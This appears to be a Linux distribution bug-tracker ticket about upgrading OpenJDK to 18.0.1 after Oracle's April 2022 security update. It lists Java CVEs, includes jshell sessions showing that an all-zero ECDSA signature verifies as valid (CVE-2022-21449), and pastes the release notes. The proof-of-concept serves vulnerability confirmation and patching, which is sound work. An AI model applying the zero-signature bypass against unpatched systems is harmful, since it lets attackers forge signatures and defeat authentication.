jdk-18.0.1

[Douglas R. Reno]

New point version

Found at ​https://github.com/openjdk/jdk17u/archive/refs/tags/jdk-17.0.3-ga.tar.gz

Unfortunately, due to the severity of the vulnerabilities fixed in this release, and the publicly-available nature of them, it really needs to be "High" instead of elevated.

Here's some information on the major cryptography vulnerability: ​https://nakedsecurity.sophos.com/2022/04/20/critical-cryptographic-java-security-blunder-patched-update-now/

Oracle's Critical Product Update (note that it also has 37 CVEs for MySQL, so we might get hit by those in MariaDB) contains the following fixes for Java (see ​https://www.oracle.com/security-alerts/cpuapr2022verbose.html#JAVA):

CVE-2022-21426 - remote unauthenticated denial of service

CVE-2022-21434 - remote unauthenticated update/insert/delete access to data stored in Java, or that the Java process has access to

CVE-2022-21443 - remote unauthenticated denial of service

CVE-2022-21449 - remote unautenticated creation, deletion, or modification of files/data

CVE-2022-21476 - remote unauthenticated access to data (information disclosure)

CVE-2022-21496 - remote unauthenticated modification of data

As the notes say: "All of these vulnerabilities may be remotely exploitable without authentication, i.e., may be exploited over a network without requiring user credentials."

[Douglas R. Reno]

From the above article:

---

Madden’s bug nickname is therefore wittily chosen, given that the bug he discovered allows an attacker to bypass a Java Elliptic Curve signature check simply by presenting a memory buffer filled entirely with zeros.

You read that correctly: either you can generate a valid digital signature by dutifully applying the necessary private key to the calculation, or you can send across a bunch of zeros instead.

---

I'm surprised this went undetected for so long.

If I need to put my workstation rebuild aside for now to update this, let me know.

[pierre]

I can take care of this in three days... But I do not think BLFS should be vulnerable, since java is not used for applications listening over the network. Of course for people who use java over the network, the vulnerability needs to be fixed.

[Douglas R. Reno]

Thinking about it some more, I think Libreoffice would be a potential vector - Base in particular. Base uses java and allows for users to connect to remote databases to do administration on them, similar to Microsoft Access and their SQL designer. I suspect it might use the same Java stuff to connect to PostgreSQL/MariaDB databases but don't have an easy way to verify.

It affects me too (I run a 24x7 Minecraft Server), but I can deal with that on my own - it also uses jdk11, so that box goes to 11.0.15

[Douglas R. Reno]

That being said though, I'm OK with this waiting until you're back. If you need help on the i686 side, I'd be happy to get that going though so we can try to get both binaries out as quickly as possible :)

[Douglas R. Reno]

Here's a working proof-of-concept.

renodr [ /opt/OpenJDK-17.0.2-bin/bin ]$ ./jshell
|  Welcome to JShell -- Version 17.0.2
|  For an introduction type: /help intro

jshell> import java.security.*

jshell> var keys = KeyPairGenerator.getInstance("EC").generateKeyPair()
keys ==> java.security.KeyPair@c2e1f26

jshell> var blankSignature = new byte[64]
blankSignature ==> byte[64] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ... , 0, 0, 0, 0, 0, 0, 0, 0 }

jshell> var sig = Signature.getInstance("SHA256WithECDSAInP1363Format")
sig ==> Signature object: SHA256WithECDSAInP1363Format<not initialized>

jshell> sig.initVerify(keys.getPublic())

jshell> sig.update("Hello, World".getBytes())

jshell> sig.verify(blankSignature)
$7 ==> true

jshell> 

$7 should be equal to 'false' in this case. 'true' means that the certificate was verified without any problems.

I'm working on 11.0.15 for my Minecraft server today, but for anyone on 11.0.2, you should probably upgrade to 17.0.3/18.0.1:

renodr [ /opt/OpenJDK-11.0.2+9-bin/bin ]$ ./jshell
|  Welcome to JShell -- Version 11.0.2
|  For an introduction type: /help intro

jshell> import java.security.*

jshell> var keys = KeyPairGenerator.getInstance("EC").generateKeyPair()
keys ==> java.security.KeyPair@c2e1f26

jshell> var blankSignature = new byte[64]
blankSignature ==> byte[64] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ... , 0, 0, 0, 0, 0, 0, 0, 0 }

jshell> var sig = Signature.getInstance("SHA256WithECDSAInP1363Format")
sig ==> Signature object: SHA256WithECDSAInP1363Format<not initialized>

jshell> sig.initVerify(keys.getPublic())

jshell> sig.update("Hello, World".getBytes())

jshell> sig.verify(blankSignature)
$7 ==> true

jshell> 

[pierre]

Shouldn't we update to 18.0.1 instead of 17.0.3?

[Douglas R. Reno]

That's a good question - 17.0.3 is an LTS release, but 18 would keep us up to date with the most recent features.

I feel like we'd have to do the same amount of testing either way though, so maybe 18 is best

[pierre]

Moving to 18.0.1

[pierre]

JDK 18.0.1 Release Notes

New Features

New XML Processing Limits (JDK-8270504)

xml/jaxp

Three processing limits have been added to the XML libraries. These are:

jdk.xml.xpathExprGrpLimit

Description: Limits the number of groups an XPath expression can contain.

Type: integer

Value: A positive integer. A value less than or equal to 0 indicates no limit. If the value is not an integer, a NumberFormatException is thrown. Default 10.

jdk.xml.xpathExprOpLimit

Description: Limits the number of operators an XPath expression can contain.

Type: integer

Value: A positive integer. A value less than or equal to 0 indicates no limit. If the value is not an integer, a NumberFormatException is thrown. Default 100.

jdk.xml.xpathTotalOpLimit

Description: Limits the total number of XPath operators in an XSL Stylesheet.

Type: integer

Value: A positive integer. A value less than or equal to 0 indicates no limit. If the value is not an integer, a NumberFormatException is thrown. Default 10000.

Supported processors

jdk.xml.xpathExprGrpLimit and jdk.xml.xpathExprOpLimit are supported by the XPath processor.

All three limits are supported by the XSLT processor.

Setting properties

For the XSLT processor, the properties can be changed through the TransformerFactory. For example,

TransformerFactory factory = TransformerFactory.newInstance(); factory.setAttribute("jdk.xml.xpathTotalOpLimit", "1000");

For the XPath processor, the properties can be changed through the XPathFactory. For example,

XPathFactory xf = XPathFactory.newInstance(); xf.setProperty("jdk.xml.xpathExprGrpLimit", "20");

For both the XPath and XSLT processors, the properties can be set through the system property and jaxp.properties configuration file located in the conf directory of the Java installation. For example,

System.setProperty("jdk.xml.xpathExprGrpLimit", "20");

or in the jaxp.properties file,

jdk.xml.xpathExprGrpLimit=20

Other Notes

Only Expose Certificates With Proper Trust Settings as Trusted Certificate Entries in macOS KeychainStore (JDK-8278449)

security-libs/java.security

On macOS, only certificates with proper trust settings in the user keychain will be exposed as trusted certificate entries in the KeychainStore type of keystore. Also, calling the KeyStore::setCertificateEntry method or the keytool -importcert command on a KeychainStore keystore now fails with a KeyStoreException. Instead, call the macOS "security add-trusted-cert" command to add a trusted certificate into the user keychain. Parsing of URL Strings in Built-in JNDI Providers Is More Strict (JDK-8278972)

core-libs/javax.naming

The parsing of URLs in the LDAP, DNS, and RMI built-in JNDI providers as been made more strict. The strength of the parsing can be controlled by system properties:

-Dcom.sun.jndi.ldapURLParsing="legacy" | "compat" | "strict" (to control "ldap:" URLs)

-Dcom.sun.jndi.dnsURLParsing="legacy" | "compat" | "strict" (to control "dns:" URLs)

-Dcom.sun.jndi.rmiURLParsing="legacy" | "compat" | "strict" (to control "rmi:" URLs)

The default value is "compat" for all of them.

The "legacy" mode turns the new validation off. The "compat" mode limits incompatibilities. The "strict" mode is stricter and may cause regression by rejecting URLs that an application might consider as valid.

If an illegal URL string is found, a javax.naming.NamingException (or a subclass of it) is raised.

[pierre]

openjdk updated at 5bc36fc
Binaries updated at 2310936

[pierre]

advisory done. Closing.